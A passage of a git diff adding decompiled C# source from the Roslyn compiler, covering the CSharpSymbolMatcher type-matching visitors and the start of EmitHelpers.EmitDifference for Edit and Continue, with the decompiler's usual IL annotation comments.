ExceptionUtilities.UnexpectedValue((object)symbol.Kind); + } + return FindMatchingMember((ISymbolInternal)(object)symbol, sourceType, AreNamedTypesEqual); + } + + public override Symbol VisitParameter(ParameterSymbol parameter) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Emitter/EditAndContinue/CSharpSymbolMatcher.cs", 571); + } + + public override Symbol? VisitPointerType(PointerTypeSymbol symbol) + { + TypeSymbol typeSymbol = (TypeSymbol)Visit(symbol.PointedAtType); + if ((object)typeSymbol == null) + { + return null; + } + ImmutableArray customModifiers = VisitCustomModifiers(symbol.PointedAtTypeWithAnnotations.CustomModifiers); + return new PointerTypeSymbol(symbol.PointedAtTypeWithAnnotations.WithTypeAndModifiers(typeSymbol, customModifiers)); + } + + public override Symbol? VisitFunctionPointerType(FunctionPointerTypeSymbol symbol) + { + FunctionPointerMethodSymbol signature = symbol.Signature; + TypeSymbol typeSymbol = (TypeSymbol)Visit(signature.ReturnType); + if ((object)typeSymbol == null) + { + return null; + } + ImmutableArray refCustomModifiers = VisitCustomModifiers(signature.RefCustomModifiers); + TypeWithAnnotations substitutedReturnType = signature.ReturnTypeWithAnnotations.WithTypeAndModifiers(typeSymbol, VisitCustomModifiers(signature.ReturnTypeWithAnnotations.CustomModifiers)); + ImmutableArray substitutedParameterTypes = ImmutableArray.Empty; + ImmutableArray> paramRefCustomModifiers = default(ImmutableArray>); + if (signature.ParameterCount > 0) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(signature.ParameterCount); + ArrayBuilder> instance2 = ArrayBuilder>.GetInstance(signature.ParameterCount); + ImmutableArray.Enumerator enumerator = signature.Parameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + ParameterSymbol current = enumerator.Current; + TypeSymbol typeSymbol2 = (TypeSymbol)Visit(current.Type); + if ((object)typeSymbol2 == null) + { + instance.Free(); + instance2.Free(); + return null; + } + instance2.Add(VisitCustomModifiers(current.RefCustomModifiers)); + instance.Add(current.TypeWithAnnotations.WithTypeAndModifiers(typeSymbol2, VisitCustomModifiers(current.TypeWithAnnotations.CustomModifiers))); + } + substitutedParameterTypes = instance.ToImmutableAndFree(); + paramRefCustomModifiers = instance2.ToImmutableAndFree(); + } + return symbol.SubstituteTypeSymbol(substitutedReturnType, substitutedParameterTypes, refCustomModifiers, paramRefCustomModifiers); + } + + public override Symbol? VisitProperty(PropertySymbol symbol) + { + return VisitNamedTypeMember(symbol, ArePropertiesEqual); + } + + public override Symbol VisitTypeParameter(TypeParameterSymbol symbol) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Invalid comparison between Unknown and I4 + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Invalid comparison between Unknown and I4 + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Invalid comparison between Unknown and I4 + //IL_004f: Unknown result type (might be due to invalid IL or missing references) + if (symbol is IndexedTypeParameterSymbol result) + { + return result; + } + Symbol symbol2 = Visit(symbol.ContainingSymbol); + SymbolKind kind = symbol2.Kind; + ImmutableArray typeParameters; + if ((int)kind != 4) + { + if ((int)kind == 9) + { + typeParameters = ((MethodSymbol)symbol2).TypeParameters; + goto IL_005f; + } + if ((int)kind != 11) + { + throw ExceptionUtilities.UnexpectedValue((object)symbol2.Kind); + } + } + typeParameters = ((NamedTypeSymbol)symbol2).TypeParameters; + goto IL_005f; + IL_005f: + ImmutableArray immutableArray = typeParameters; + return immutableArray[symbol.Ordinal]; + } + + private ImmutableArray VisitCustomModifiers(ImmutableArray modifiers) + { + return ImmutableArrayExtensions.SelectAsArray(modifiers, (Func)VisitCustomModifier); + } + + private CustomModifier VisitCustomModifier(CustomModifier modifier) + { + NamedTypeSymbol modifier2 = (NamedTypeSymbol)Visit(((CSharpCustomModifier)(object)modifier).ModifierSymbol); + if (!modifier.IsOptional) + { + return CSharpCustomModifier.CreateRequired(modifier2); + } + return CSharpCustomModifier.CreateOptional(modifier2); + } + + internal bool TryFindAnonymousType(AnonymousTypeManager.AnonymousTypeTemplateSymbol type, out AnonymousTypeValue otherType) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return ((SynthesizedTypeMaps)(ref _synthesizedTypes)).AnonymousTypes.TryGetValue(type.GetAnonymousTypeKey(), ref otherType); + } + + internal bool TryFindAnonymousDelegate(AnonymousTypeManager.AnonymousDelegateTemplateSymbol delegateSymbol, out SynthesizedDelegateValue otherDelegateSymbol) + { + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + SynthesizedDelegateKey val = default(SynthesizedDelegateKey); + ((SynthesizedDelegateKey)(ref val))._002Ector(delegateSymbol.MetadataName); + return ((SynthesizedTypeMaps)(ref _synthesizedTypes)).AnonymousDelegates.TryGetValue(val, ref otherDelegateSymbol); + } + + internal bool TryFindAnonymousDelegateWithIndexedName(AnonymousTypeManager.AnonymousDelegateTemplateSymbol type, out AnonymousTypeValue otherType) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_003d: Unknown result type (might be due to invalid IL or missing references) + if (((SynthesizedTypeMaps)(ref _synthesizedTypes)).AnonymousDelegatesWithIndexedNames.TryGetValue(type.Name, ref otherType) && ((IReference)otherType.Type).GetInternalSymbol() is NamedTypeSymbol otherType2 && isCorrespondingAnonymousDelegate(type, otherType2)) + { + return true; + } + otherType = default(AnonymousTypeValue); + return false; + bool isCorrespondingAnonymousDelegate(NamedTypeSymbol namedTypeSymbol, NamedTypeSymbol namedTypeSymbol2) + { + if (namedTypeSymbol.Arity != namedTypeSymbol2.Arity) + { + return false; + } + namedTypeSymbol = SubstituteTypeParameters(namedTypeSymbol); + namedTypeSymbol2 = SubstituteTypeParameters(namedTypeSymbol2); + MethodSymbol delegateInvokeMethod = namedTypeSymbol.DelegateInvokeMethod; + if ((object)delegateInvokeMethod != null) + { + MethodSymbol delegateInvokeMethod2 = namedTypeSymbol2.DelegateInvokeMethod; + if ((object)delegateInvokeMethod2 != null && delegateInvokeMethod.Parameters.SequenceEqual(delegateInvokeMethod2.Parameters, (ParameterSymbol x, ParameterSymbol y) => isCorrespondingType(x.TypeWithAnnotations, y.TypeWithAnnotations) && x.ExplicitDefaultConstantValue == y.ExplicitDefaultConstantValue && x.IsParams == y.IsParams)) + { + return isCorrespondingType(delegateInvokeMethod.ReturnTypeWithAnnotations, delegateInvokeMethod2.ReturnTypeWithAnnotations); + } + } + return false; + } + bool isCorrespondingType(TypeWithAnnotations typeWithAnnotations, TypeWithAnnotations expectedType) + { + return typeWithAnnotations.WithTypeAndModifiers((TypeSymbol)Visit(typeWithAnnotations.Type), VisitCustomModifiers(typeWithAnnotations.CustomModifiers)).Equals(expectedType, (TypeCompareKind)62); + } + } + + private Symbol? VisitNamedTypeMember(T member, Func predicate) where T : Symbol + { + if ((object)member.ContainingType == null) + { + return null; + } + NamedTypeSymbol namedTypeSymbol = (NamedTypeSymbol)Visit(member.ContainingType); + if ((object)namedTypeSymbol == null) + { + return null; + } + return FindMatchingMember((ISymbolInternal)(object)namedTypeSymbol, member, predicate); + } + + private T? FindMatchingMember(ISymbolInternal otherTypeOrNamespace, T sourceMember, Func predicate) where T : Symbol + { + if (_otherMembers.GetOrAdd(otherTypeOrNamespace, GetAllEmittedMembers).TryGetValue(sourceMember.MetadataName, out ImmutableArray value)) + { + ImmutableArray.Enumerator enumerator = value.GetEnumerator(); + while (enumerator.MoveNext()) + { + if (enumerator.Current is T val && predicate(sourceMember, val)) + { + return val; + } + } + } + return null; + } + + private bool AreArrayTypesEqual(ArrayTypeSymbol type, ArrayTypeSymbol other) + { + if (type.HasSameShapeAs(other)) + { + return AreTypesEqual(type.ElementType, other.ElementType); + } + return false; + } + + private bool AreEventsEqual(EventSymbol @event, EventSymbol other) + { + return true; + } + + private bool AreFieldsEqual(FieldSymbol field, FieldSymbol other) + { + return _comparer.Equals(field.Type, other.Type); + } + + private bool AreMethodsEqual(MethodSymbol method, MethodSymbol other) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + method = SubstituteTypeParameters(method); + other = SubstituteTypeParameters(other); + if (_comparer.Equals(method.ReturnType, other.ReturnType) && ((object)method.RefKind/*cast due to constrained. prefix*/).Equals((object?)other.RefKind) && method.Parameters.SequenceEqual(other.Parameters, AreParametersEqual)) + { + return method.TypeParameters.SequenceEqual(other.TypeParameters, AreTypesEqual); + } + return false; + } + + private static MethodSymbol SubstituteTypeParameters(MethodSymbol method) + { + int length = method.TypeParameters.Length; + if (length == 0) + { + return method; + } + return method.Construct(IndexedTypeParameterSymbol.Take(length)); + } + + private bool AreNamedTypesEqual(NamedTypeSymbol type, NamedTypeSymbol other) + { + return type.TypeArgumentsWithAnnotationsNoUseSiteDiagnostics.SequenceEqual(other.TypeArgumentsWithAnnotationsNoUseSiteDiagnostics, AreTypesEqual); + } + + private static NamedTypeSymbol SubstituteTypeParameters(NamedTypeSymbol type) + { + int length = type.TypeParameters.Length; + if (length == 0) + { + return type; + } + return type.Construct(IndexedTypeParameterSymbol.Take(length)); + } + + private bool AreNamespacesEqual(NamespaceSymbol @namespace, NamespaceSymbol other) + { + return true; + } + + private bool AreParametersEqual(ParameterSymbol parameter, ParameterSymbol other) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Invalid comparison between Unknown and I4 + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Invalid comparison between Unknown and I4 + if ((int)parameter.RefKind == 0 == ((int)other.RefKind == 0)) + { + return _comparer.Equals(parameter.Type, other.Type); + } + return false; + } + + private bool ArePointerTypesEqual(PointerTypeSymbol type, PointerTypeSymbol other) + { + return AreTypesEqual(type.PointedAtType, other.PointedAtType); + } + + private bool AreFunctionPointerTypesEqual(FunctionPointerTypeSymbol type, FunctionPointerTypeSymbol other) + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + FunctionPointerMethodSymbol signature = type.Signature; + FunctionPointerMethodSymbol signature2 = other.Signature; + if (signature.RefKind != signature2.RefKind || !AreTypesEqual(signature.ReturnTypeWithAnnotations, signature2.ReturnTypeWithAnnotations)) + { + return false; + } + return signature.Parameters.SequenceEqual(signature2.Parameters, AreFunctionPointerParametersEqual); + } + + private bool AreFunctionPointerParametersEqual(ParameterSymbol param, ParameterSymbol otherParam) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + if (param.RefKind == otherParam.RefKind) + { + return AreTypesEqual(param.TypeWithAnnotations, otherParam.TypeWithAnnotations); + } + return false; + } + + [Conditional("DEBUG")] + private static void ValidateFunctionPointerParamOrReturn(TypeWithAnnotations type, RefKind refKind, ImmutableArray refCustomModifiers, bool allowOut) + { + } + + private bool ArePropertiesEqual(PropertySymbol property, PropertySymbol other) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + if (_comparer.Equals(property.Type, other.Type) && ((object)property.RefKind/*cast due to constrained. prefix*/).Equals((object?)other.RefKind)) + { + return property.Parameters.SequenceEqual(other.Parameters, AreParametersEqual); + } + return false; + } + + private static bool AreTypeParametersEqual(TypeParameterSymbol type, TypeParameterSymbol other) + { + return true; + } + + private bool AreTypesEqual(TypeWithAnnotations type, TypeWithAnnotations other) + { + return AreTypesEqual(type.Type, other.Type); + } + + private bool AreTypesEqual(TypeSymbol type, TypeSymbol other) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Invalid comparison between Unknown and I4 + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_002e: Invalid comparison between Unknown and I4 + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Invalid comparison between Unknown and I4 + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Invalid comparison between Unknown and I4 + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Invalid comparison between Unknown and I4 + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Invalid comparison between Unknown and I4 + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Invalid comparison between Unknown and I4 + //IL_009b: Unknown result type (might be due to invalid IL or missing references) + if (type.Kind != other.Kind) + { + return false; + } + SymbolKind kind = type.Kind; + if ((int)kind <= 11) + { + if ((int)kind == 1) + { + return AreArrayTypesEqual((ArrayTypeSymbol)type, (ArrayTypeSymbol)other); + } + if ((int)kind == 4 || (int)kind == 11) + { + return AreNamedTypesEqual((NamedTypeSymbol)type, (NamedTypeSymbol)other); + } + } + else + { + if ((int)kind == 14) + { + return ArePointerTypesEqual((PointerTypeSymbol)type, (PointerTypeSymbol)other); + } + if ((int)kind == 17) + { + return AreTypeParametersEqual((TypeParameterSymbol)type, (TypeParameterSymbol)other); + } + if ((int)kind == 20) + { + return AreFunctionPointerTypesEqual((FunctionPointerTypeSymbol)type, (FunctionPointerTypeSymbol)other); + } + } + throw ExceptionUtilities.UnexpectedValue((object)type.Kind); + } + + private IReadOnlyDictionary> GetAllEmittedMembers(ISymbolInternal symbol) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Invalid comparison between Unknown and I4 + ArrayBuilder instance = ArrayBuilder.GetInstance(); + if ((int)symbol.Kind == 11) + { + NamedTypeSymbol namedTypeSymbol = (NamedTypeSymbol)(object)symbol; + instance.AddRange((IEnumerable)namedTypeSymbol.GetEventsToEmit()); + instance.AddRange((IEnumerable)namedTypeSymbol.GetFieldsToEmit()); + instance.AddRange((IEnumerable)namedTypeSymbol.GetMethodsToEmit()); + instance.AddRange(namedTypeSymbol.GetTypeMembers()); + instance.AddRange((IEnumerable)namedTypeSymbol.GetPropertiesToEmit()); + } + else + { + instance.AddRange(((NamespaceSymbol)(object)symbol).GetMembers()); + } + if (_otherSynthesizedMembers != null && _otherSynthesizedMembers.TryGetValue(symbol, out ImmutableArray value)) + { + instance.AddRange(value); + } + ImmutableDictionary>? otherDeletedMembers = _otherDeletedMembers; + if (otherDeletedMembers != null && otherDeletedMembers.TryGetValue(symbol, out ImmutableArray value2)) + { + instance.AddRange(value2); + } + Dictionary> result = instance.ToDictionary((Func)((ISymbolInternal s) => s.MetadataName), (IEqualityComparer)StringOrdinalComparer.Instance); + instance.Free(); + return result; + } + } + + internal sealed class DeepTranslator : CSharpSymbolVisitor + { + private readonly ConcurrentDictionary _matches; + + private readonly NamedTypeSymbol _systemObject; + + public DeepTranslator(NamedTypeSymbol systemObject) + { + _matches = new ConcurrentDictionary((IEqualityComparer?)ReferenceEqualityComparer.Instance); + _systemObject = systemObject; + } + + public override Symbol DefaultVisit(Symbol symbol) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Emitter/EditAndContinue/CSharpSymbolMatcher.cs", 1057); + } + + public override Symbol Visit(Symbol symbol) + { + return _matches.GetOrAdd(symbol, base.Visit(symbol)); + } + + public override Symbol VisitArrayType(ArrayTypeSymbol symbol) + { + TypeSymbol typeSymbol = (TypeSymbol)Visit(symbol.ElementType); + ImmutableArray customModifiers = VisitCustomModifiers(symbol.ElementTypeWithAnnotations.CustomModifiers); + if (symbol.IsSZArray) + { + return ArrayTypeSymbol.CreateSZArray(symbol.BaseTypeNoUseSiteDiagnostics.ContainingAssembly, symbol.ElementTypeWithAnnotations.WithTypeAndModifiers(typeSymbol, customModifiers)); + } + return ArrayTypeSymbol.CreateMDArray(symbol.BaseTypeNoUseSiteDiagnostics.ContainingAssembly, symbol.ElementTypeWithAnnotations.WithTypeAndModifiers(typeSymbol, customModifiers), symbol.Rank, symbol.Sizes, symbol.LowerBounds); + } + + public override Symbol VisitDynamicType(DynamicTypeSymbol symbol) + { + return _systemObject; + } + + public override Symbol VisitNamedType(NamedTypeSymbol type) + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + NamedTypeSymbol originalDefinition = type.OriginalDefinition; + if ((object)originalDefinition != type) + { + CompoundUseSiteInfo useSiteInfo = CompoundUseSiteInfo.Discarded; + ImmutableArray to = ImmutableArrayExtensions.SelectAsArray(type.GetAllTypeArguments(ref useSiteInfo), (Func)((TypeWithAnnotations t, DeepTranslator v) => t.WithTypeAndModifiers((TypeSymbol)v.Visit(t.Type), v.VisitCustomModifiers(t.CustomModifiers))), this); + NamedTypeSymbol namedTypeSymbol = (NamedTypeSymbol)Visit(originalDefinition); + return new TypeMap(namedTypeSymbol.GetAllTypeParameters(), to, allowAlpha: true).SubstituteNamedType(namedTypeSymbol); + } + if (type.IsAnonymousType) + { + return Visit(AnonymousTypeManager.TranslateAnonymousTypeSymbol(type)); + } + return type; + } + + public override Symbol VisitPointerType(PointerTypeSymbol symbol) + { + TypeSymbol typeSymbol = (TypeSymbol)Visit(symbol.PointedAtType); + ImmutableArray customModifiers = VisitCustomModifiers(symbol.PointedAtTypeWithAnnotations.CustomModifiers); + return new PointerTypeSymbol(symbol.PointedAtTypeWithAnnotations.WithTypeAndModifiers(typeSymbol, customModifiers)); + } + + public override Symbol VisitFunctionPointerType(FunctionPointerTypeSymbol symbol) + { + FunctionPointerMethodSymbol signature = symbol.Signature; + TypeSymbol typeSymbol = (TypeSymbol)Visit(signature.ReturnType); + TypeWithAnnotations substitutedReturnType = signature.ReturnTypeWithAnnotations.WithTypeAndModifiers(typeSymbol, VisitCustomModifiers(signature.ReturnTypeWithAnnotations.CustomModifiers)); + ImmutableArray refCustomModifiers = VisitCustomModifiers(signature.RefCustomModifiers); + ImmutableArray substitutedParameterTypes = ImmutableArray.Empty; + ImmutableArray> paramRefCustomModifiers = default(ImmutableArray>); + if (signature.ParameterCount > 0) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(signature.ParameterCount); + ArrayBuilder> instance2 = ArrayBuilder>.GetInstance(signature.ParameterCount); + ImmutableArray.Enumerator enumerator = signature.Parameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + ParameterSymbol current = enumerator.Current; + TypeSymbol typeSymbol2 = (TypeSymbol)Visit(current.Type); + instance.Add(current.TypeWithAnnotations.WithTypeAndModifiers(typeSymbol2, VisitCustomModifiers(current.TypeWithAnnotations.CustomModifiers))); + instance2.Add(VisitCustomModifiers(current.RefCustomModifiers)); + } + substitutedParameterTypes = instance.ToImmutableAndFree(); + paramRefCustomModifiers = instance2.ToImmutableAndFree(); + } + return symbol.SubstituteTypeSymbol(substitutedReturnType, substitutedParameterTypes, refCustomModifiers, paramRefCustomModifiers); + } + + public override Symbol VisitTypeParameter(TypeParameterSymbol symbol) + { + return symbol; + } + + private ImmutableArray VisitCustomModifiers(ImmutableArray modifiers) + { + return ImmutableArrayExtensions.SelectAsArray(modifiers, (Func)VisitCustomModifier); + } + + private CustomModifier VisitCustomModifier(CustomModifier modifier) + { + NamedTypeSymbol modifier2 = (NamedTypeSymbol)Visit(((CSharpCustomModifier)(object)modifier).ModifierSymbol); + if (!modifier.IsOptional) + { + return CSharpCustomModifier.CreateRequired(modifier2); + } + return CSharpCustomModifier.CreateOptional(modifier2); + } + } + + private readonly MatchDefs _defs; + + private readonly MatchSymbols _symbols; + + public CSharpSymbolMatcher(SourceAssemblySymbol sourceAssembly, EmitContext sourceContext, SourceAssemblySymbol otherAssembly, EmitContext otherContext, SynthesizedTypeMaps synthesizedTypes, ImmutableDictionary>? otherSynthesizedMembers, ImmutableDictionary>? otherDeletedMembers) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + _defs = new MatchDefsToSource(sourceContext, otherContext); + _symbols = new MatchSymbols(sourceAssembly, otherAssembly, synthesizedTypes, otherSynthesizedMembers, otherDeletedMembers, new DeepTranslator(otherAssembly.GetSpecialType((SpecialType)1))); + } + + public CSharpSymbolMatcher(SynthesizedTypeMaps synthesizedTypes, SourceAssemblySymbol sourceAssembly, EmitContext sourceContext, PEAssemblySymbol otherAssembly) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + _defs = new MatchDefsToMetadata(sourceContext, otherAssembly); + _symbols = new MatchSymbols(sourceAssembly, otherAssembly, synthesizedTypes, null, null, null); + } + + public override IDefinition? MapDefinition(IDefinition definition) + { + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Expected O, but got Unknown + if (((IReference)definition).GetInternalSymbol() is Symbol symbol) + { + return (IDefinition)(_symbols.Visit(symbol)?.GetCciAdapter()); + } + return _defs.VisitDef(definition); + } + + public override INamespace? MapNamespace(INamespace @namespace) + { + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Expected O, but got Unknown + if (@namespace.GetInternalSymbol() is NamespaceSymbol symbol) + { + return (INamespace)(_symbols.Visit(symbol)?.GetCciAdapter()); + } + return null; + } + + public override ITypeReference? MapReference(ITypeReference reference) + { + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Expected O, but got Unknown + if (((IReference)reference).GetInternalSymbol() is Symbol symbol) + { + return (ITypeReference)(_symbols.Visit(symbol)?.GetCciAdapter()); + } + return null; + } + + internal bool TryGetAnonymousTypeName(AnonymousTypeManager.AnonymousTypeTemplateSymbol template, [NotNullWhen(true)] out string? name, out int index) + { + return _symbols.TryGetAnonymousTypeName(template, out name, out index); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit/EmitHelpers.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit/EmitHelpers.cs new file mode 100644 index 0000000..70f02fb --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit/EmitHelpers.cs @@ -0,0 +1,139 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.IO; +using System.Reflection.Metadata; +using System.Threading; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CodeGen; +using Microsoft.CodeAnalysis.Collections; +using Microsoft.CodeAnalysis.Emit; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Emit; + +internal static class EmitHelpers +{ + internal static EmitDifferenceResult EmitDifference(CSharpCompilation compilation, EmitBaseline baseline, IEnumerable edits, Func isAddedSymbol, Stream metadataStream, Stream ilStream, Stream pdbStream, CompilationTestData? testData, CancellationToken cancellationToken) + { + //IL_00a3: Unknown result type (might be due to invalid IL or missing references) + //IL_00aa: Expected O, but got Unknown + //IL_0050: Unknown result type (might be due to invalid IL or missing references) + //IL_018d: Unknown result type (might be due to invalid IL or missing references) + //IL_0193: Expected O, but got Unknown + //IL_0100: Unknown result type (might be due to invalid IL or missing references) + //IL_0105: Unknown result type (might be due to invalid IL or missing references) + //IL_0109: Unknown result type (might be due to invalid IL or missing references) + DiagnosticBag instance = DiagnosticBag.GetInstance(); + EmitOptions val = EmitOptions.Default.WithDebugInformationFormat((DebugInformationFormat)((!baseline.HasPortablePdb) ? 1 : 2)); + string runtimeMetadataVersion = compilation.GetRuntimeMetadataVersion(val, instance); + ModulePropertiesForSerialization serializationProperties = ((Compilation)compilation).ConstructModuleSerializationProperties(val, runtimeMetadataVersion, baseline.ModuleVersionId); + IEnumerable manifestResources = SpecializedCollections.EmptyEnumerable(); + PEDeltaAssemblyBuilder pEDeltaAssemblyBuilder; + try + { + pEDeltaAssemblyBuilder = new PEDeltaAssemblyBuilder(compilation.SourceAssembly, val, ((CompilationOptions)compilation.Options).OutputKind, serializationProperties, manifestResources, baseline, edits, isAddedSymbol); + } + catch (NotSupportedException ex) + { + instance.Add(ErrorCode.ERR_ModuleEmitFailure, NoLocation.Singleton, ((Compilation)compilation).AssemblyName, ex.Message); + return new EmitDifferenceResult(false, instance.ToReadOnlyAndFree(), (EmitBaseline)null, ImmutableArray.Empty, ImmutableArray.Empty); + } + if (testData != null) + { + ((CommonPEModuleBuilder)pEDeltaAssemblyBuilder).SetTestData(testData); + } + CSharpDefinitionMap previousDefinitions = pEDeltaAssemblyBuilder.PreviousDefinitions; + SymbolChanges changes = ((CommonPEModuleBuilder)pEDeltaAssemblyBuilder).EncSymbolChanges; + EmitBaseline val2 = null; + ArrayBuilder instance2 = ArrayBuilder.GetInstance(); + ArrayBuilder instance3 = ArrayBuilder.GetInstance(); + if (((Compilation)compilation).Compile((CommonPEModuleBuilder)(object)pEDeltaAssemblyBuilder, true, instance, (Predicate)((ISymbolInternal s) => changes.RequiresCompilation(s.GetISymbol())), cancellationToken)) + { + SynthesizedTypeMaps synthesizedTypes = baseline.SynthesizedTypes; + if (!ContainsPreviousAnonymousDelegates(previousDefinitions, ((SynthesizedTypeMaps)(ref synthesizedTypes)).AnonymousDelegatesWithIndexedNames, (IEnumerable)compilation.AnonymousTypeManager.GetCreatedAnonymousDelegateTypesWithIndexedNames())) + { + instance.Add(ErrorCode.ERR_EncUpdateFailedDelegateTypeChanged, Location.None); + } + else + { + EmitBaseline val3 = MapToCompilation(compilation, pEDeltaAssemblyBuilder); + val2 = ((Compilation)compilation).SerializeToDeltaStreams((CommonPEModuleBuilder)(object)pEDeltaAssemblyBuilder, val3, (DefinitionMap)(object)previousDefinitions, changes, metadataStream, ilStream, pdbStream, instance2, instance3, instance, testData?.SymWriterFactory, val.PdbFilePath, cancellationToken); + } + } + return new EmitDifferenceResult(val2 != null, instance.ToReadOnlyAndFree(), val2, instance2.ToImmutableAndFree(), instance3.ToImmutableAndFree()); + } + + private static bool ContainsPreviousAnonymousDelegates(CSharpDefinitionMap definitionMap, ImmutableSegmentedDictionary previousDictionary, IEnumerable currentTypes) + { + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Unknown result type (might be due to invalid IL or missing references) + //IL_0053: Unknown result type (might be due to invalid IL or missing references) + if (previousDictionary.Count == 0) + { + return true; + } + ImmutableDictionary immutableDictionary = currentTypes.ToImmutableDictionary(getName); + if (previousDictionary.Count > immutableDictionary.Count) + { + return false; + } + Enumerator enumerator = previousDictionary.GetEnumerator(); + try + { + while (enumerator.MoveNext()) + { + if (!immutableDictionary.TryGetValue(getName(enumerator.Current.Value.Type), out var value) || ((DefinitionMap)definitionMap).MapDefinition((IDefinition)(object)value) == null) + { + return false; + } + } + } + finally + { + ((IDisposable)enumerator/*cast due to constrained. prefix*/).Dispose(); + } + return true; + static string getName(ITypeDefinition type) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return ((INamedEntity)type).Name; + } + } + + private static EmitBaseline MapToCompilation(CSharpCompilation compilation, PEDeltaAssemblyBuilder moduleBeingBuilt) + { + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Unknown result type (might be due to invalid IL or missing references) + //IL_0055: Expected O, but got Unknown + //IL_0059: Unknown result type (might be due to invalid IL or missing references) + //IL_0065: Expected O, but got Unknown + //IL_0066: Unknown result type (might be due to invalid IL or missing references) + //IL_006e: Unknown result type (might be due to invalid IL or missing references) + //IL_0070: Unknown result type (might be due to invalid IL or missing references) + //IL_0097: Unknown result type (might be due to invalid IL or missing references) + //IL_009f: Unknown result type (might be due to invalid IL or missing references) + //IL_00a1: Unknown result type (might be due to invalid IL or missing references) + EmitBaseline previousGeneration = ((CommonPEModuleBuilder)moduleBeingBuilt).PreviousGeneration; + if (previousGeneration.Ordinal == 0) + { + return previousGeneration; + } + SynthesizedTypeMaps synthesizedTypes = moduleBeingBuilt.GetSynthesizedTypes(); + ImmutableDictionary> allSynthesizedMembers = ((CommonPEModuleBuilder)moduleBeingBuilt).GetAllSynthesizedMembers(); + ImmutableDictionary> allDeletedMembers = ((CommonPEModuleBuilder)moduleBeingBuilt).EncSymbolChanges.GetAllDeletedMembers(); + SourceAssemblySymbol sourceAssembly = ((CSharpCompilation)(object)previousGeneration.Compilation).SourceAssembly; + EmitContext sourceContext = default(EmitContext); + ((EmitContext)(ref sourceContext))._002Ector((CommonPEModuleBuilder)(object)(PEModuleBuilder)(object)previousGeneration.PEModuleBuilder, (SyntaxNode)null, new DiagnosticBag(), false, true); + EmitContext otherContext = default(EmitContext); + ((EmitContext)(ref otherContext))._002Ector((CommonPEModuleBuilder)(object)moduleBeingBuilt, (SyntaxNode)null, new DiagnosticBag(), false, true); + CSharpSymbolMatcher cSharpSymbolMatcher = new CSharpSymbolMatcher(sourceAssembly, sourceContext, compilation.SourceAssembly, otherContext, synthesizedTypes, allSynthesizedMembers, allDeletedMembers); + ImmutableDictionary> immutableDictionary = ((SymbolMatcher)cSharpSymbolMatcher).MapSynthesizedOrDeletedMembers(previousGeneration.SynthesizedMembers, allSynthesizedMembers, 